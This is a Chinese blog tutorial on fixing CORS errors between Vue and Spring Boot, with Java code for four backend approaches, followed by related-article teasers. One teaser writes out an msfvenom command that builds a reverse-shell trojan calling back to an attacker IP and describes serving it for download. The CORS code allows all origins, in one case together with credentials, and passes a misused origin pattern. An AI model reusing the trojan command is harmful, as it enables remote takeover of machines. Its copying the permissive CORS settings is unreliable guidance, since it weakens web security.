前后端分离跨域问题解决方案

Vue和SpringBoot的跨域问题的4中解决方案

跨域问题产生的原因:浏览器的保护机制,同源策略协议,域名,端口;三个中有一个不同就会产生跨域问题

解决方案(后端):

1.@CrossOrigin注解:

在目标方法上使用@CrossOrigin注解

 
@CrossOrigin@GetMapping("/captcha")public void captcha(HttpServletResponse response, HttpServletRequest request) throws IOException {SpecCaptcha captcha = new SpecCaptcha(150,40);String text = captcha.text();System.out.println(text);captcha.out(response.getOutputStream());}

2.在配置类中添加CORS过滤器

在配置类中写过滤器一般用@bean注解

 
@Configurationpublic class CorsConfig {@Beanpublic CorsFilter corsFilter(){//        创建一个CorsConfiguration对象,用于存储CORS配置。CorsConfiguration corsConfiguration = new CorsConfiguration();corsConfiguration.addAllowedOrigin("*");corsConfiguration.addAllowedMethod("*");corsConfiguration.addAllowedHeader("*");//        创建一个UrlBasedCorsConfigurationSource对象,用于存储基于URL的CORS配置UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();//        将CORS配置注册到所有URL模式(/**)。这意味着对于所有请求,都应用这个CORS配置。source.registerCorsConfiguration("/**",corsConfiguration);return new CorsFilter(source);}}

3.创建一个自定义CROS过滤器(实现Filter接口)

 
package com.kfm.bisheserve.filter;​import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;​/*** @author 27359* date:2024/5/29*/public class CorsFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {Filter.super.init(filterConfig);// 在这里添加过滤器初始化逻辑(CORS)}​@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {//        HttpServletResponse是ServletResponse接口的一个实现类,专门用于处理HTTP响应HttpServletResponse httpResponse = (HttpServletResponse) response;//设置CORS响应头httpResponse.setHeader("Access-Control-Allow-Origin", "*"); // 允许所有域名访问httpResponse.setHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS, DELETE, PUT"); // 允许的HTTP方法httpResponse.setHeader("Access-Control-Max-Age", "3600"); // 预检请求的缓存时间httpResponse.setHeader("Access-Control-Allow-Headers", "x-requested-with, authorization, Content-Type, Authorization, credential, X-XSRF-TOKEN"); // 允许的请求头​// 如果是预检请求(OPTIONS请求,一般是浏览器自己发送的请求),直接返回成功if ("OPTIONS".equalsIgnoreCase(((HttpServletRequest) request).getMethod())) {httpResponse.setStatus(HttpServletResponse.SC_OK);} else {// 如果是其他请求,继续执行过滤器链,chain.doFilter()是Java Servlet API中的方法调用,用于在过滤器链中继续执行下一个过滤器chain.doFilter(request, response);}}​@Overridepublic void destroy() {Filter.super.destroy();// 在这里添加过滤器销毁逻辑(如果需要)}}
 ​

4.实现WebMvcConfigurer接口,重写addCorsMappings方法

 public class CorsWebMvcConfig implements WebMvcConfigurer {//    配置CORS映射@Overridepublic void addCorsMappings(CorsRegistry registry) {registry.addMapping("/**")  //这个映射适用于所有URL模式(/**),表示对于所有请求,都应用这个CORS配置.allowedOriginPatterns("/**")  //这意味着允许所有域名的请求访问你的后端服务。.allowedMethods("*")  //这意味着允许所有类型的HTTP请求(如GET、POST、PUT、DELETE等)。.allowCredentials(true) //这通常与Access-Control-Allow-Origin响应头一起使用,以允许跨域请求携带cookie。.maxAge(3600)  //这意味着浏览器可以缓存预检请求的结果,避免在每次跨域请求时都发送预检请求.allowedHeaders("*"); //这意味着允许所有类型的请求头。}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/18435.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

界面控件DevExtreme v23.2亮点 - 标签、表单、编辑器功能升级

DevExtreme拥有高性能的HTML5 / JavaScript小部件集合,使您可以利用现代Web开发堆栈(包括React,Angular,ASP.NET Core,jQuery,Knockout等)构建交互式的Web应用程序。从Angular和Reac&#xff0c…

脑图工具 在学习系统架构中的使用

系统,有人把它比作一个黑盒,有人比作一个树洞。呃,其实二者都隐含的表达了一个意思,盘根错节,一言难尽,欲说还休,说了又像是隔靴搔痒,感觉没说透。 学习,理解和展示一个…

计算机组成原理----移码

在网上搜索移码是什么,大概率会搜到一个结论:移码是补码符号位取反,可是真的是这样吗? 传统的有符号整数是将二进制数的首位作为符号位,0表示正数,1表示负数。 但在移码中,我们不再使用单独的符号位来表示正负。而是通过一个固定的偏置量来将所有可能的指数值映射到一个无符…

力扣每日一题 5/28

题目:2951-找出峰值 给你一个下标从 0 开始的数组 mountain 。你的任务是找出数组 mountain 中的所有 峰值。 以数组形式返回给定数组中 峰值 的下标,顺序不限 。 注意: 峰值 是指一个严格大于其相邻元素的元素。数组的第一个和最后一个元…

C语言.顺序表.通讯录

基于顺序表示实现通讯录 1.通讯录项目的功能要求2.代码实现3.头文件处理4.通讯录的具体实现4.1通讯录的初始化与销毁4.1.1通讯录的初始化4.1.2通讯录的初始化销毁 4.2通讯录的添加与删除数据4.2.1通讯录的添加数据4.2.1通讯录的删除数据 4.3通讯录的修改4.4通讯录的查找4.5通讯…

熟悉电脑快捷键(包含部分VS)

有很多不太电脑的小白,这里给大家一些常用快捷键,希望帮助到大家学习~ ctrl c 复制(保留原内容) ctrl v 粘贴 ctrl x 剪切(跟复制不一样的地方在于原内容清空) ctrl z …

【python】OpenCV—Tracking(10.2)

文章目录 BackgroundSubtractorcreateBackgroundSubtractorMOG2createBackgroundSubtractorKNN BackgroundSubtractor Opencv 有三种背景分割器 K-Nearest:KNN Mixture of Gaussian(MOG2) Geometric Multigid(GMG) …

AURIX TC3xx单片机介绍-启动过程介绍2

AURIX TC377,TC387,TC397用户启动程序流程 用户启动程序是在Boot Firmware之后运行的程序(即用户程序里的第一级Boot Loader,类似Linux的Uboot),初始化过程是CPU0完成的。用户可以根据不同的复位事件来选择不同的执行路径。 AURITX 2代芯片的主要启动过程如下(该阶段只…

WebGL学习(一)渲染关系

学习webgl 开发理解渲染关系是必须的,也非常重要,很多人忽视了这个过程。 我这里先简单写一下,后面尽量用通俗易懂的方式,举例讲解。 WebGL,全称Web Graphics Library,是一种在网页上渲染3D图形的技术。它…

C++模板元编程--函数萃取

在C中&#xff0c;std::declval是一个非常有用的模板函数&#xff0c;它是标准库<utility>头文件的一部分。它的主要作用是在不创建对象的情况下&#xff0c;获取该类型的引用&#xff0c;从而允许在编译时表达式中使用该类型的成员函数或成员变量&#xff0c;即使没有默…

python中的-1是什么意思

python中的-1是什么意思&#xff1f; -1指的是索引&#xff0c;即列表的最后一个元素。 比如你输入一个列表&#xff1a; a &#xff1d; [1,2,3,4,5,6,7] a[-1]就代表索引该列表最后一个值&#xff0c;你可以 b a[-1] print(b) 结果如下&#xff1a; 7 索引从左往右是…

P9712 「QFOI R1」贴贴

「QFOI R1」贴贴 题目描述 小 R 是一个可爱的女孩子&#xff0c;她希望通过给洛谷题目写题解的方式跟出题人贴贴。 她发现&#xff0c;如果从题解界面点击“提交题解”按钮&#xff0c;博客中会自动生成 URL 标识符&#xff0c;也就是文章的链接。 其中&#xff0c;标识符的…

GB/T 33133.2-2021 《信息安全技术 祖冲之序列密码算法 第2部分:保密性算法》标准介绍

编写背景 在数字化时代&#xff0c;信息安全的重要性日益凸显。为了加强数据传输和存储的安全性&#xff0c;中国国家标准GB/T 33133.2-2021应运而生。这一标准是祖冲之序列密码算法系列的第二部分&#xff0c;专注于保密性算法&#xff0c;旨在提供一种高效、安全的数据加密解…

升级鸿蒙4.2新变化,新增 WLAN 网络自动连接开关!

手机已经成为现代人生活中不可或缺的一部分&#xff0c;手机里的功能可以满足大部分人的生活场景&#xff0c;但是最依赖的应该就是手机网络&#xff0c;手机网络突然变差怎么办——消息发不出去&#xff1f;刷新闻速度变慢&#xff1f;仔细检查后&#xff0c;发现其实不是手机…

什么是边缘计算?它为何如此重要?天拓四方

随着信息技术的快速发展&#xff0c;数据处理和计算的需求日益增大&#xff0c;特别是在实时性要求极高的场景中&#xff0c;传统的云计算模式面临着巨大的挑战。在这样的背景下&#xff0c;边缘计算作为一种新兴的计算模式&#xff0c;正逐渐受到业界的广泛关注。那么&#xf…

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

python数据分析——分组操作1

参考资料&#xff1a;活用pandas库 1、简介 借助“分割-应用-组合”&#xff08;split-apply-combine&#xff09;模式&#xff0c;分组操作可以有效地聚合、转换和过滤数据。 分割&#xff1a;基于键&#xff0c;把要处理的数据分割为小片段。 应用&#xff1a;分别处理每个数…

Linux shell编程学习笔记51: cat /proc/cpuinfo:查看CPU详细信息

0 前言 2024年的网络安全检查又开始了&#xff0c;对于使用基于Linux的国产电脑&#xff0c;我们可以编写一个脚本来收集系统的有关信息。对于中央处理器CPU比如&#xff0c;我们可以使用cat /proc/cpuinfo命令来收集中央处理器CPU的信息。 1. /proc/cpuinfo 保存了系统的cpu…

树莓派开箱

1.树莓派4B配置 CPU&#xff1a;64位1.5GHZ四核处理器。 GPU:Broadcom VideoCore VI500MHZ 蓝牙5.0 电源Type C(5V 3A),也可以使用排针链接5V锂电池最大放电电流必须达到3A。 还有千兆以太网等以后用到再说。 接下来进入文章重点 2.镜像文件烧录 前期准备&#xff1a;1…

「TypeScript系列」TypeScript 命名空间

文章目录 一、TypeScript 命名空间1. 使用命名空间2. 命名空间与模块的区别3. 总结 二、命名空间使用场景1. 防止命名冲突2. 组织和管理代码3. 兼容其他库或框架4. 大型项目中封装功能模块5. 总结 三、命名空间有哪些优缺点1. 优点&#xff1a;2. 缺点&#xff1a; 四、相关链接…